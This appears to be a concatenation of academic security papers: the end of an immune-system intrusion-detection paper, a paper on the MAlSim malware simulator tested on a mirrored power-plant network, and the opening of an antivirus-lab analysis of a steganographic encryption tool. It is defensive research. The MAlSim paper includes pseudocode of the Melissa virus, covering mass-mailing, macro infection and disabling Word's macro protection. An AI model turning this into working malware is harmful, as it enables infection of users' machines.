Furthermore, it seems likely that the optimal strategy will depend on the underlying values of Pfp 

and Pfn and the attack strategy implemented. Thus, our intent is to explore the solution space and 
determine  if  there  is  a  set  of  functions  that  performs  acceptably  under  a  wide  range  of 
circumstances.

In  terms  of  determining  “likeness”  to  neighbours,  there  are  a  significant  number  of  research 
avenues.  For  example,  the  metric  for  similarity  may  depend  greatly  on  the  type  of  attack 
encountered.   If  the attack under consideration is  on a  web server,  for example,  over port  443 
(HTTPS), it makes sense to weight other web servers that support HTTPS far more highly than 
others. Thus, determining similarity depends on context (what attack is being considered right now) 
and attributes (what is the machine under consideration). If we were to naively assign attributes to 
each machine, it is possible to calculate the Euclidean distance between their attributes; however, 
this ignores the context issue outlined above. Once again, determining the optimum distance metric 
to use is a matter of considerable interest, and is an area of future research. 



Conclusions

In this paper, we have outlined a Danger Theory based Artificial Immune System for the MANET 
environment.  In  particular,  we  have  shown  how  such  an  approach  can  have  quite  desirable 
properties  macroscopically,  by  focusing  on  high-level  needs.  We  then  showed  how  a  simple 
reputation system can be improved in this environment by considering the experiences of similar 
systems.

Overall, the results provided are very encouraging. By focusing on high-level systemic properties, 
the resilience of the system is protected, and the overall mission enabled. Furthermore, the system 
does not attempt to impute motive to actions; instead, when using Danger Theory, the results of any 
action are analysed. Finally, the system can operate synergistically with existing techniques (such as 
signature-based IDS solutions) provided some estimate of the false positive error rate is known. 

There remains a large amount of work to conduct before BITSI is ready for deployment. The two 
primary areas of concern are the lack of global knowledge and dealing with attackers who attempt 
to fool the system. Our hope is to continue to expand the models underpinning BITSI to deal with 
these circumstances.

This work is part of a multi-institutional effort, under sponsorship of the Army Research Laboratory 
via Cooperative Agreement No. W911NF-07-2-0022, CFDA No. 12.630. 
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Simulating Malware with MAlSim

Abstract

This paper describes MAlSim – Mobile Agent Malware Simulator – a mobile agent framework de-
veloped to address one of the most important problems related to the simulation of attacks against
information systems i.e. the lack of adequate tools for reproducing behaviour of malicious software
(malware). The framework can be deployed over the network of an arbitrary information system
and it aims at simulating behaviour of each instance of malware independently. MAlSim Tool-
kit provides multiple classes of agents and diverse behavioural and migration/replication patterns
(which, taken together, form malware templates), to be used for implementation of various types
of malware (viruses, worms, malicious mobile code). The primary application of MAlSim is to
support security assessments of information systems based on simulation of attacks against these
systems. In this context, the framework was successfully applied to the studies on security of the
information system of a power plant. The case study proved the operability, applicability and use-
fulness of the simulation framework and it led to very interesting conclusions on the security of the
evaluated system.

1 Introduction

One of the approaches for security assessment of information systems is based on simulation of
attacks against these systems (Bishop, 2003). The experiments employ the methods and tools
of potential intruders and they are carried out from the position of the intruders. The approach
allows to identify any potential vulnerabilities that may result from improper system configuration,
known or unknown hardware or software flaws, or operational weaknesses in business processes.
It leads to determination of feasibility of the attacks and their impact on the information system,
on the organisation which uses it and on any other involved stakeholders (Bishop, 2003).

Among the variety of attacks against information systems which are at disposal of intruders
(and thus must be taken into account during the analyses)1 the significant part is formed by the
attacks based on malware – i.e. malicious software that run on a computer and make the system
behaving in a way wanted by an attacker (Skoudis & Zeltser, 2003). Malware attacks are the most
frequent in the Internet and they pose a serious threat against information systems (SecurityFocus,
n.d.).

Malware can be categorised into the following families (Skoudis & Zeltser, 2003; Szor, 2005):

• Viruses – programs that recursively and explicitly copy a possibly evolved version of them-
selves and require human interaction to propagate.

• Worms – self-replicating programs autonomously (without human interaction) spreading
across a network.

1An approachable overview of computer attacks can be found in (Anderson, 2001). The updated information
about system vulnerabilities is available at (SecurityFocus, n.d.).



• Malicious mobile code – lightweight Javascript, VBScript, Java, or ActiveX programs that are
downloaded from a remote system and executed locally with minimal or no user intervention.

• Backdoors – bypassing normal security controls to give an attacker access to a computer
system.

• Trojan horses – disguising themselves as useful programs while masking hidden malicious
purpose.

• User-level RootKits – replacing or modifying executable programs used by system admini-
strators and users.

• Kernel-level RootKits – manipulating the kernel of operating system.

• Combination malware – combining techniques of other malware families.

More detailed information on malware an interested reader can find in (Szor, 2005; Filiol, 2005).

The studies on virus simulation tools span between:

• Educational simulators i.e. programs demonstrating the effects of virus infection (Gordon,
1996). This group of programs include Virus Simulation Suite written in 1990 by Joe Hirst,
which is a collection of executables, that ‘simulate the visual and aural effects of some of
the PC viruses’ (Hirst, 1990). Another example is Virlab (Faistenhammer et al., 1993) from
1993, which simulates the spread of DOS computer viruses, and provides a course on virus
prevention. (As it can be noticed, the programs are quite out of date, and today they would
rather serve just as a historical reference.)

• Anti-virus testing simulators i.e. programs which are supposed to simulate viral activity, in
order to test anti-virus programs without having to use real, potentially dangerous, viruses.
Unfortunately, it seams that only one solution of this type was developed (Gordon, 1996),
namely Rosenthal Virus Simulator (Rosenthal Engineering, 1997). The simulator is a set of
programs which provide ‘safe and sterile, controlled test suites of sample virus programs’,
developed for ‘evaluating anti-virus security measures without harm or contamination of the
system’ (Rosenthal Engineering, 1997). Again the applicability of the suite is limited since
it was written ten years ago.

Concerning the simulation of worms, the prevalent work was done on developing mathema-
tical models of worm propagation (Sharif, Riley, & Lee, 2005; Symantec Research Labs, 2005;
Ellis, 2003; Zou, Gong, & Towsley, 2003), which base on epidemiological equations that describe
spread of real-world diseases. The empirical approaches concentrated mainly on single-node worm
spread simulators (Liljenstam, Yuan, Premore, & Nicol, 2002; Liljenstam, Nicol, Berk, & Gray,
2003; Wagner, Dübendorfer, Plattner, & Hiestand, 2003; Moore, Shannon, Voelker, & Savage,
2003), which are dedicated to run on one machine. Only few distributed worm simulations were
implemented (Perumalla & Sundaragopalan, 2004; Wei, Mirkovic, & Swany, 2005; Filiol, Franc,



Gubbioli, Moquet, & Roblot, 2007). However, in all of these approaches, also the network over
which the simulated worm spreads, is simulated. Still there is a need for a simulation tool allowing
simulations of malware in an arbitrary, real, physical network of computers.

Also Trojan Simulator (Mischel Internet Security, 2003) has limited applicability. It was deve-
loped for evaluating effectiveness of anti-Trojan software, and as such fulfills its purpose. However
from the point of view of attack simulation, it lacks the behavioural part, since the Trojan ma-
licious activities (e.g. stealthy task execution which consumes processor time or sending packets
over network) are not simulated.

Thus it becomes evident that there are no compound frameworks for simulation of malware
which would support the security assessments of information systems based on simulation of at-
tacks.

This paper describes MAlSim – a new framework developed to fulfill this gap.

MAlSim – (Mobile Agent Malware Simulator) is a software toolkit which aims at simulation of
various malicious software in computer network of an arbitrary information system. The framework
aims at reflecting the behaviours of various families of malware (worms, viruses, malicious mobile
code etc.) and various species of malware belonging to the same family (e.g. macro viruses,
metamorphic and polymorphic viruses etc.). It can simulate well-known malware (e.g. Code
Red, Nimda, SQL Slammer) but it can also simulate generic behaviours (file sharing propagation,
e-mail propagation) and non-existent configurations (which supports the experiments aiming at
predicting the system behaviour in the face of new malware). MAlSim is a distributed simulator
which simulates behaviour of each instance of malware independently. This means that if the
prototype malware propagates over a network, making its copies, then the MAlSim agent dedicated
to simulate this malware, also spreads across a network and creates new instances of itself.

Since the framework is based on the technology of mobile agents, the description starts with a
short overview of the technology (Section 2). This section explains also why the paradigm of mobile
agents was chosen for the development of the simulator. The next section introduces JADE (Java
Agent DEvelopment Framework) – the agent platform for which MAlSim is dedicated and which
provides MAlSim with mechanisms for implementing and controlling the life cycle of simulation
agents. The core description of the framework starts in Section 4 where components of the MAlSim
toolkit are explained and the notion of malware templates is brought in. The section describes also
how experiments with MAlSim are set up. Section 5 describes malware templates in more detailed
way, showing how the templates are created and used. An exemplar template of the famous virus
Melissa is presented. The best way to understand how something works is to see it in action.
Section 6 provides a live example of applying MAlSim for security evaluation of an information
system of a power plant. Finally, Section 7 summarises the description of the framework.

2 Mobile Agents

Mobile agents are the software agents able to roam network freely, to spontaneously relocate
themselves from one device to another.



Software agents are software components, that are (Bellifemine, Caire, Trucco, & Rimassa,
2003a):

• Autonomous – able to exercise control over their own actions.

• Proactive (or goal-oriented or purposeful) – goal oriented and able to accomplish goals wi-
thout prompting from a user, and reacting to changes in an environment.

• Social (or socially able or communicative) – able to communicate both with humans and
other agents.

Software agents operate on agent platforms. Agent platform is an execution environment for
agents which supplies the agents with various functionalities characteristic for the agent paradigm
(such as agent intercommunication, agent autonomy, yellow pages, mobility etc.).

Agent platforms are deployed horizontally over multiple hardware devices through containers.
On each device at least one container may be set up. Each container is an instance of a virtual
machine (usually Java VM) and it forms a virtual agent network node. Containers make agent
platform independent from underlying operating systems. Mobile agents are able to migrate from
one container to another. Consequently, when containers are deployed on different devices, mobile
agents can migrate between different devices.

Agent platforms can be imagined as agent communities where agents are managed and are
given the means to interact (communicate and exchange services). Many agent communities may
coexist at the same time. Depending on the implementation of the platform, agents may be able
to leave one community (platform) and join another2.

Mobile Agent approach was chosen for the development of MAlSim because it particularly fits
this purpose. Agents have much in common with malicious programs. Similarly to worms and
viruses, they have the ability of relocating themselves from one computer to another. They are
also autonomous as the worms are. At the same time they operate on agent platform which forms
a type of sandbox facilitating their control.

3 JADE

MAlSim is dedicated for the JADE (Java Agent DEvelopment Framework) agent platform.

JADE is a fully Java based agent platform which complies with the FIPA3 specifications. It is
provided by means of:

• Software framework which facilitates the implementation of multi-agent systems through a
middleware which supports agent execution and offers various additional features (such as a
Yellow Pages service or support for agents’ mobility).

2Further information on software agents an interested reader can find in (Chess, Harrison, & Kershenbaum,
1994; Chess et al., 1995; Franklin & Graesser, 1996; Carzaniga, Picco, & Vigna, 1997; Fuggetta, Picco, & Vigna,
1998; Milojicic, 1999; Yee, 1997; Gray, Kotz, Cybenko, & Rus, 2000; Jansen & Karygiannis, 2000).

3www.fipa.org



• Set of graphical tools that supports the debugging and deployment phases.

JADE is licensed under Lesser General Public License (LGPL), meaning that users can unli-
mitedly use both binaries and code of the platform. During over seven years of its development
JADE has become very popular among the members of agent community and now it is probably
the most often used agent platform. JADE is continuously developed, improved and maintained,
not only by the developers from the Telecom Italia Lab (Tilab), where it was originated, but also
by contributing JADE community members (Telecom Italia Lab, n.d.; Caire, 2002).

Further details on the choice of JADE for the development of MAlSim can be found in (Lesz-
czyna, 2004).

4 MAlSim Components

MAlSim Toolkit provides:

• Multiple classes of MAlSim agent (extensions of JADE Agent class).

• Various behavioural patterns implemented as agent behaviours4 (extensions of JADE Behaviour

class).

• Diverse migration/replication patterns implemented as agent behaviours (extensions of JADE
Behaviour class).

The MAlSim agent class is the basic agent code which implements the standard agent func-
tionalities related to its management on the agent platform, its communication skills and the
characteristics related to the nature of simulated malicious software. This code will be propagated
across the attacked machines.

To render it operative, the code must be extended with instances of the behaviour classes
and the migration/replication patterns. Depending on the chosen behaviour(s) and the migra-
tion/replication patterns, the instances of the same agent class will be created on the attacked
host, or instances of another agent class from the toolkit.

The behavioural patterns comprise definitions of agent behaviours aiming at imitating malicious
activities of malware (such as scanning for vulnerabilities of operating system, sending and receiving
packets, verifying if certain conditions are met etc.) but without their harmful influence on the
system. They are implemented in Java as extensions of the Behaviour class provided by JADE
framework. The patterns include operations such as disabling network adapter, enabling a local
firewall to operate in all-block mode or starting a highly processor time consuming task etc. They
facilitate showing detrimental effects of malware activities but in contrary to their prototypes they
are fully controlled. They demonstrate, for example, that after malware infection, it is no longer
possible to connect to the host, or that the host’s performance is affected etc. To support the

4In agents terminology the agent’s behaviour is a set of actions performed in order to achieve the goal. It
represents a task that an agent can perform (Bellifemine, Caire, Trucco, & Rimassa, 2003b).



demonstrative aspect of experiments also some patterns with audio-visual effects were developed.
For example, to facilitate the observation of malware diffusion in the network, a sound can be
played by the agent after it arrived to a new container5.

Migration and replication patterns describe the ways in which MAlSim agent migrates across
the attacked hosts. The patterns implement malware propagation models as well as user-configured
propagation schemas. The latter allow to define such characteristics as: which subnetworks of the
evaluated system will be affected, in which order, at what relative time etc.

A composition of a particular MAlSim agent class with behavioural and migration/replication
patterns constitutes a malware template – i.e. a template of malicious software. An exemplary
malware template is presented in Section 5.

Currently the repository of malware templates contains just basic malware implementations
for zero-day viruses and worms, but it is planned to be extended in a foreseeable future. At first
malware templates for most interesting (from the point of view of the technique used for propa-
gation but also regarding the payload) representatives of known malware are going to be defined
(such as Yamanner, W32/Mydoom, W32/Blaster). Large enough repository of such templates will
allow to extract the generic behaviours of malware (file sharing propagation, e-mail propagation,
exploits) into separate malware templates.

MAlSim setup comprises the following phases:

1. An attack scenario is withdrawn from repository. An attack scenario is a sequence of steps
taken during attack.

2. According to the chosen scenario an appropriate malware template is selected from the
repository and configured. If none of existing templates fits the attack scenario, a new
MAlSim template developed.

3. Creating a live instance of malware template involves extending a MAlSim agent with a
migration schema (through adding agent behaviours from the repository) and a malicious
behaviour.

At the current step of development of MAlSim, the setup is done manually. In the future
studies at introducing some automation to the setup process will be performed.

The experiments are controlled through the graphical interface of JADE. Using the interface,
the operator can manage the whole life cycle of agents. For example he/she can launch new agents,
suspend them or remove. As shown in Figure 1 the interface provides the view at the available
agent platforms and the containers installed on them. Each container is installed on another host
participating in experiments, so from the point of view of the interface, that container represents
a host. The graphical console shows which agents are present on each container. The operator
can see ho agent are created, they migrate, or they leave the platform. In this sense the graphical
console facilitates observation of the diffusion of the simulated malware.

5Interesting studies on using sound for network monitoring are described in (Gilfix & Couch, 2000).
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Figure 1: MAlSim Framework takes advantage of JADE GUI for control and observation of expe-
riments.

JADE, being a distributed agent platform supporting mobility of agents, provides MAlSim
with all means for its deployment over all hosts participating in the simulation of malware. The
deployment is realised through JADE containers (see Figure 2). Java-based JADE is flexibly in-
stallable on various operating systems. During the security evaluation of a power plant (see Section
6) it was successfully deployed over diverse distributions of Linux (Debian, Ubuntu, CentOS) and
Microsoft Windows.

More technical details of the environment can be found in (Leszczyna, Fovino, & Masera,
2008b).

As it was depicted in Section 1 malicious software migrate from one computer to another using
network connections or portable data storage. They infect files (e.g. executables, word processing
documents etc.) or consist of lightweight programs that are downloaded from a remote system and
executed locally with minimal or no user intervention (typically written in Javascript, VBScript,
Java, or ActiveX). MAlSim on the other hand uses the migration mechanisms embedded in the
agent platform.

In the default configuration (used for the MAlSim implementation) these mechanisms are re-
alised over Java Remote Method Invocation protocol on port 1099. This has a negative impact on
the fidelity of the simulation. Thus it is planned to develop agent behaviours aiming at minimising
this difference. One solution could be for example not to allow MAlSim agent migrate until a
transport channel used by the prototype malware was opened. As a result, MAlSim agent, even



Figure 2: MAlSim deployment.

if ‘physically’ moving through the connection on 1099 port, will behave as relocating through a
HTTP or POP3 connection etc.

5 Malware Templates

As it was already mentioned in Section 4 a composition of a particular MAlSim agent class with
behavioural and migration/replication patterns constitutes a malware template. The malware
templates aim at reflecting the behaviours of various families of malware (worms, viruses, malicious
mobile code etc.) and various species of malware belonging to the same family (e.g. macro viruses,
metamorphic and polymorphic viruses etc.). Moreover apart of mimicking the well-known malware
(such as Melissa, Code Red, Nimda, SQL Slammer), they allow simulations of generic behaviours
(file sharing propagation, e-mail propagation) and their non-existent configurations. In this way a
non-existent malware can be simulated, such as zero-day viruses, to more extensively evaluate the
security of an information system.

During development of malware templates various information sources are used. To the most
popular belong: (F-Secure, n.d.; Symantec, n.d.; McAfee, n.d.).

As it can be seen on the example of the Melissa template (see below) each template defines:

• Initial event of the malware life cycle (a ‘birth’ of malware).

• Trigger – the overall conditions to be satisfied to allow the malware to operate.

• Malicious actions of the simulated malware.

These definitions drive the development of code of MAlSim agent classes and agent behaviour
classes.



In the section below a pseudocode of the malware template for simulation of the virus Melissa
is presented. The template was created based on the descriptions from (F-Secure, n.d.; Symantec,
n.d.; McAfee, n.d.). The template is going to be implemented in foreseeable future.

Initial event: Sending e-mail with file called LIST.DOC, which contains passwords for X-rated websites.

Trigger: Opening the file LIST.DOC in Microsoft Word.

Action 1: Propagating to other computers.

1. CONNECT(MAlSim)

2. IF ”HKEY CURRENT USER\Software\Microsoft\Office\”→”Melissa?” EQUALS ”. . . by Kwyjibo” THEN END
// checking if the routine has been executed previously on the current machine

3. OPEN(MS Outlook)

4. MAPI GET(userProfile)
// getting user profile to use MS Outlook

5. CREATE(eMailMessage)

6. FOR {c=0; c≤50; eMailMessage.addresse = msOutlook.addressBook.contact[c]};
// setting the message with up to 50 addresses from MS Outlook Address Book

7. eMailMessage.subject = ”Important Message From msWord.document.author”

8. eMailMessage.body = ”Here is that document you asked for ... don’t show anyone else ;-)”

9. eMailMessage.attachments[0] = msWord.document.this
// attaching the active WORD document to the email message

10. SEND(eMailMessage)

Action 2: Modifying Word documents.

1. IF system.time.minutes EQUALS system.date.day AND (msWord.event EQUALS documentOpened) OR msWord.event
EQUALS documentClosed) THEN msWord.document.INSERT(” Twenty-two points, plus triple-word-score, plus
fifty points for using all my letters. Game’s over. I’m outta here.”)
// inserting a sentence into an infected document if the number of minutes past the hour corresponds the day of
the month (e.g. May 3rd, 11:03) and if the document is opened or closed at the appropriate minute

2. INFORM(MAlSim)

Action 3: Infecting other Word documents on the user’s computer.

1. IF (msWord.event EQUALS documentCreated) msWord.newDocument.INSERT MACRO(Melissa)
// infecting other documents

2. INFORM(MAlSim)

Action 4: Hiding the activity.

1. if msWord.version NOT EQUALS ”97” THEN GO TO 6



2. msWord.menu.DISABLE(Tools→Macro)
// preventing listing the macro / VBA module in MS Word 97 to manually check for infection.

// setting MS Word 97 not to warn or prompt while saving the NORMAL.DOT or while opening a document with macros
in it:

3. msWord.options.DISABLE(”Prompt to save Normal template”)

4. msWord.options.DISABLE(”Confirm conversion at Open”)

5. msWord.options.DISABLE(”Macro virus protection”)

6. if msWord.version EQUALS ”2000” THEN msWord.menu.DISABLE(Macro→Security)
// preventing changing the security level in MS Word 2000

7. INFORM(MAlSim)

6 Case Study: Employing MAlSim in the Security Evaluation of a
Power Plant IT System

MAlSim was applied for the experiments aiming at evaluation of the security of a power plant
infrastructure6.

To achieve full control over the experiments and to prevent detrimental consequences which
in case of critical infrastructures could have a very serious impact on many stakeholders, a secure
isolated environment for attack simulations was created based on one hundred twenty hosts, the
network equipment necessary to interconnect them (which includes sixteen network switches), as
well as SCADA devices set up over physical hydrologic installation. In this environment, the
information system of the power plant was reconstructed with very high fidelity. The identical
subnetworks were created. All the key workstations of the power plant were copied in one-to-
one relation. It means each of the workstations was reflected into one host of the simulation
environment. Only stations of the Intranet were approximated with a lower number of hosts, but
this was without loss of generality. In the reconstruction, the same network addresses were used,
the same software installed, the same configurations of firewalls applied etc. More details of the
environment and the reconstructions can be found in (Leszczyna et al., 2008b; Leszczyna, Fovino,
& Masera, 2008a).

In this simulation environment the network setting of the power plant was reconstructed (mir-
rored) which comprised (Figure 3):

• Process Network, which interconnects diverse subsystems of the energy production process.

• Field Network, which interconnects controllers and field devices.

• The corporate network (Intranet).

6An existent, fully operative combined cycle electric power plant was reconstructed and evaluated during the
experiments. Unfortunately, the contractual regulations for this project require the details of the site to remain
confidential.



Figure 3: Simulation environment.

• Wireless LAN network.

• Demilitarised Zone (DMZ).

The JADE framework was deployed over the hosts mirroring Process Network and the Intranet.
On each of the hosts a representative JADE container was installed. The experiments’ control
centre associated with JADE main-container, was located on the host from the Threat and Attack
Simulator area of the simulation environment. From there, the simulated attacks were launched,
controlled and monitored.

In this setting the simulation of a zero-day virus attack was performed. A zero-day (or zero-
hour) attack is a computer threat that exposes undisclosed or unpatched computer application
vulnerabilities. Zero-day attacks take advantage of computer security holes for which no solution
is currently available. Zero-day exploits are released before the vendor patch is released to the
public. A zero-day exploit is usually unknown to the public and to the product vendor.

An attack scenario was developed and based on this scenario the simulation was performed.

The scenario of the attack is as follows:

A power plant operator working on a PC located in the power plant’s Intranet browses
the Internet and gets accidentally infected by a virus which has been just launched
in the recent hours. This is a new type of virus, not just a slight modification of an



existing one. For this reason and because of the fact that the virus is so recent, it is
yet unknown to the antivirus community (zero-day virus). Its signature is not stored
in any of antivirus databases.

The virus infects programs on the user’s PC and, taking advantage of the fact that
unlimited traffic between the hosts in the Intranet is allowed, it infects also the rema-
ining hosts of the Intranet. Later on the user, unconscious of the fact that his/her
PC is infected by the virus, opens the VPN connection to a host in Process Control
network. Now the virus has a free passageway to the critical subnetwork of the power
plant network. It moves through it and starts infecting the computers in the Process
Control network. Simultaneously, the adverse effects of the virus begin to be apparent.
The computers become less effective, the applications raise errors and stop functioning,
and the network connections are lost.

The general aim of this attack is to infect as many computers in the Internet as possible and
to cause their malfunctioning. The attack is not particularly oriented against the power plant
system, however when reaching the network of the power plant, the virus can reach the Process
Control Network and Intranet subsystems.

In the simulation, the MAlSim agent had been launched at main-container and after that it was
creating its copies gradually on the hosts in the Intranet and progressively in Process Network,
starting from SCADA Server. After this propagation wave, the copies of MAlSim which were
created at all the hosts through which it passed, were deactivating the hosts’ network cards,
making any network-related operation impossible.

As a result, the following services were affected:

• Power Generation Control – controlling and monitoring of the power production process.
The viral infection and the due loss of connection with the direct controllers of the power
generation devices, made impossible controlling of the power production process from Process
Network. The operators were forced to use older, low level control infrastructure.

• Power Generation Data Acquisition – providing information necessary for the power plant
supervision and for production planning. In the time between the virus outbreak and the
system recovery, the data could not be collected. The operators were forced to use the
alternative low level process control and monitoring infrastructure and to make production
plans in non automated way. The information generated by the service is also delivered to
the following cooperators, for which the interruption in the delivery of the data can become
alarming:

– High voltage power transmission and dispatching company, which transports the energy
over the territory of the country.

– End-user power distribution companies, which deliver the energy from the cross-country
transmission system to the final user.

– A government organisation which manages the electric market of the country.



• Anomaly Diagnosis – monitoring and analysis of vibrations of power production devices
(primarily – the gas turbine), in order to predict or early detect faults or malfunctions. This
service allows, for example, to predict faster utilisation of a device, allowing to make a decision
of its replacement much (at least several weeks) in advance. Since the full system recovery of
Process Network (based on restoring the last safe system state from backup copies) should
not take more than three days (at maximum!), the loss of the anomaly diagnosis related
information in the time, shall not result in any serious consequences.

• Gas Exhaust Management – providing information on the quality of gas emissions to the
atmosphere, to the interested third parties. Provision of this service is imposed by law.
Without the service, a plant cannot obtain the authorisation for energy production or the
continuation of the production. Severity of the threat in regard to this service depends on
the particular regulations of the country. It means, how the regulations refer to the lack of
data for, at maximum, three days period (maximal system recovery time, see the previous
bullet). In general restitution of the data with the estimations based on the proceeding and
the following periods, and the production plan for the period of the interruption of data
delivery, should suffice.

• Remote Maintenance – such as software patching, updating from Intranet and the Internet
(!) by an authorised company. The impact of the virus in relation to the service is obvious
– the software maintainers have to come to the site anyway, to remove the effects of the
infection.

Summarising, the effects of this particular virus infection, though critical, were not dramatic.
The power plant could continue its operation normally – from the point of view of power production
process. The damages were mostly related to the interruption of data delivery, and to the necessity
of performing less automated control over the production process.

This is because the payload of the simulated virus aimed only at deactivating network adapters
of the infected computers, causing ‘only’ the loss of connectivity. However, if another, more
malicious version of the virus was developed, which, for example, would have been able to interfere
with the protocol (such as MODBUS or DNP3 (Modbus-IDA, 2006; Group, 2008)) through which
actual commands are sent to the Field actuators, then it could cause the anomalies in power
production process.

Fortunately, the probability of the occurrence of such event is very low. To develop such a
dedicated virus, an advanced level of the recognition of the power plant infrastructure (for example
which protocols are used) is required, and good knowledge of SCADA protocols. Even more than
these, it is difficult to develop a completely new virus, which will spread quickly enough to overpass
malware detection engines.

Finally, it must be noted, that it is very difficult to prevent from the zero-day virus attack,
as its strength is based on its urgency and unexpectedness. Most of antimalware software, being
signature based, will be not prepared for the detection of this attack, and will let the virus spread
over the networks. A possible solution for protection from this type of attacks could be to use
anomaly detection based malware detection engines.



Further details about the MAlSim simulations performed in order to evaluate security of critical
infrastructures can be found in (Leszczyna et al., 2008b, 2008a).

7 Conclusions

The paper presented MAlSim – Mobile Agent Malware Simulator, developed to address the demand
for malware simulation tools to be applied for security evaluations of information systems.

The framework is based on the technology of mobile agents, which appears to be particularly
suitable for this application due to numerous similarities between agents and malicious programs
(such as mobility, autonomy etc.) and because of the features of agent platforms which facilitate
performance of experiments.

MAlSim Toolkit provides multiple classes of MAlSim agent and diverse behavioural and migra-
tion/replication patterns, to be used for implementation of various malware. These components,
taken together, form malware templates. An exemplar malware template for the famous virus
Melissa was presented in Section 5.

At its current state, the MAlSim’s repository of malware templates contains just basic mal-
ware implementations for zero-day viruses and worms, which were applied during the studies on
computer security of a power plant. However, the repository will be successively extended with
new agent classes and behaviours.

Another future task is to improve the fidelity of simulation by developing agent behaviours
aiming at reducing the impact of the usage of default JADE communication mechanisms realised
over Java Remote Method Invocation protocol.

The framework was successfully applied to the studies on security of a power plant (Leszczyna
et al., 2008b, 2008a), proving its operability, applicability and usefulness. The experiments showed
the impact of a potential zero-day virus infection on the critical infrastructure and led to other
important conclusions (Leszczyna et al., 2008b, 2008a).
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Analysis of a win32 stegano-cryptographic protection software

Abstract

Steganography  is  the  art  of  hiding  the  fact  that  communication  is  taking  place,  by  hiding  
information  in  other  information,  while  cryptography  is  the  art  of  hiding something from non 
authorized  viewers,  when  both  steganography  and  cryptography  are  used  simultaneously,  the  
security and stealth level of the overall might be quite high.

When a ransomware, which is a kind of virus, uses such a tool, the disinfection can become very 
difficult for the antivirus software.

This  paper  intends  to  study  one  of  these  stegano-cryptography  tools  from  the  antivirus  lab  
perspective: a software called Beemeal.  The software itself is a C++ open source program for  
win32 platforms that permits to hide any kind of file into a BMP picture file, the file being ciphered  
before insertion into the picture. 

First we will explain the steganography method used by this tool to hide the file into the picture.  
Then we will attempt to check whether it is possible or not to determine automatically that a given  
BMP has been used as a carrier using this tool, for that, a “Stego-only attack” will be performed  
on several pictures. The next step will consist in analysing the symmetric key algorithms used by the  
author of the tool.

 Then to finish we will perform some classical cryptanalysis attacks that may permit to extract and  
decrypt the file hidden in the picture without knowing the secret key: the following attacks will be  
performed and explained: 

• Known plaintext attack.
• Cipher text only attack.

For each attack we will try to explain whether such an attack is feasible or not. And when it is  
feasible we will try to quantify the work factor to break the cipher.

Introduction

Ransomware is a kind of virus that involves the use of malicious code to hijack user files, cipher 
them, and then demand payment in exchange for the decryption key. 

Antivirus software may include automatic decryption algorithms in order to perform a successful 
disinfection, provided that the cryptosystem used is not too difficult to break.

Now we can extend this scheme by combining it with the use of steganography: the user’s files are 
not simply encrypted, but also hidden into picture files before being deleted from the hard drive (or 
overwritten with garbage data, which prevents the deleted files from being recovered). 

Now the task for the antivirus vendor becomes much more difficult: in the previous case we had a 
ciphered  file  on  which  a  decryption  algorithm  could  be  applied,  now  the  ciphered  file  has 
disappeared, and the antivirus just don’t know where to find it, so that the decryption algorithm 
becomes useless.

In this context it is of utmost importance that antivirus software can find in which picture the user’s 
file was hidden, extract this hidden ciphered file, and then decrypt it so that a complete disinfection 
can be performed after being infected with such a ransomware.

In this paper we will dive deeply into this detection and disinfection task, in other word we will 
think from the point of view of an antivirus research lab.



First of all let’s introduce the terminology used when talking about steganography:

• A cover medium, or carrier file, is the file that is used to hide another file.
• A stego-image, or a stego-file, is the cover medium after it was inserted with another file.
• A triplet is a sequence of 3 contiguous bytes.

With a simple steganography tool, one can hide a file into another. The problem with this approach 
is  that  anybody can retrieve the hidden file  using the same tool,  thus  resulting in a  very poor 
security. Now when cryptography is mixed with steganography, the security level of the overall can 
be enhanced because even if someone has the same tool, he won’t be able to extract the hidden file 
if he doesn’t provide the correct credentials. 

To evaluate the security level of such a tool, we should first  consider all  necessary steps to be 
performed in order for an attacker to retrieve either the plaintext or the key from the stego-file. And 
for each of these steps, a work factor should be estimated so that the security level will become the 
sum of all the work factors of each step to be performed.

The necessary steps are:

• Obtain the tool that was used to hide the file into another file.
• Reverse engineer the tool to understand the steganographic algorithm used (if  the source 

code and algorithms are not available).
• Reverse engineer the tool to understand which cryptographic algorithms were used.
• Develop method/software to extract automatically the ciphertext file from the stego-image 

file.
• Develop method/software to decrypt the extracted ciphertext file.

In this paper we present  a stegano-cryptographic tool  for windows platforms called “Beemeal” 
(Legardien, 2005) that permits to hide and encipher any file into a BMP picture.

The organization of the paper is as follows. First the method used by Beemeal to insert a file into a 
picture will be presented and explained. Then next, we will attempt to check whether it is possible 
or not to determine automatically that a given BMP has been used as a carrier using this tool. For 
that a “Stego-only attack” will be performed on several pictures. Next, the symmetric key algorithm 
used by Beemeal will be presented and explained. Finally the next two parts of the paper will focus 
on the feasibility and work factor of both known plain-text attack and ciphertext only attack applied 
to n ciphertexts extracted from stego-image files.

Presentation of the Beemeal software

Figure 1: Screenshot of the Beemeal software



Description of the fields and buttons:

When inserting:

• Source: this button permits to choose the file to hide into the picture.
• Destination: this button permits to choose the BMP picture that will contains the hidden file.
• Keyfile: a file (any kind of file) whose size is greater or equal to the size of the file to hide. It 

is used when ciphering.
• Key: a passphrase that permits to protect the system in case of disclosure of the keyfile.
• Insert: click on this button to encipher and insert the file into the BMP.

When extracting:

• Source: this button permits to choose the BMP file whose hidden content is to be extracted.
• Destination: this button permits to choose the file where the result of the extraction is to be 

saved.
• Keyfile: a file (of any kind) whose size is greater or equal to the size of the file to hide. It is 

used to decipher.
• Key: a passphrase that permits to protect the system in case of disclosure of the keyfile.
• Extract: click on this button to decipher and extract the original file from the BMP.

Steganography method used by Beemeal

The only media that can be used by the Beemeal tool is a file in BMP format (Charlap, 1995), with 
the constraint that this BMP file must use 24 bits per pixel (thus resulting in 3 bytes per pixel, each 
byte being the saturation level of the basic colours (red, green, blue).

The reason why such a constraint exists is because with lower colour depths, the human eyes can 
detect that the picture has been used as a carrier.

In order to remain stealth, Beemeal uses a technique called “LSB insertion” (Provos, 2003) which 
consists in using the least significant bit of each byte to carry a bit of the data to be hidden. The 
resulting picture has no noticeable difference when compared with the initial picture by someone. 
This method is fast and easy to use, but the maximum data that can be carried by the media file is 
about 8 times lower than the BMP file size.

The LSB insertion technique can be used with BMP files, but not on the entire file, to understand 
why, we need to have a look at the BMP file format: a BMP file is composed of a header, and a 
body. The body can be used as a carrier using the technique explained, but not the header, because 
the header contains important data that should not be modified. Thus Beemeal first jump the header 
(54 bytes) before starting the insertion step.

Furthermore, in order to be able to extract properly the inserted file, Beemeal saves the hidden file’s 
size into the BMP file (size coded on 4 bytes, so we actually need 8 *4 bytes of the BMP file to save 
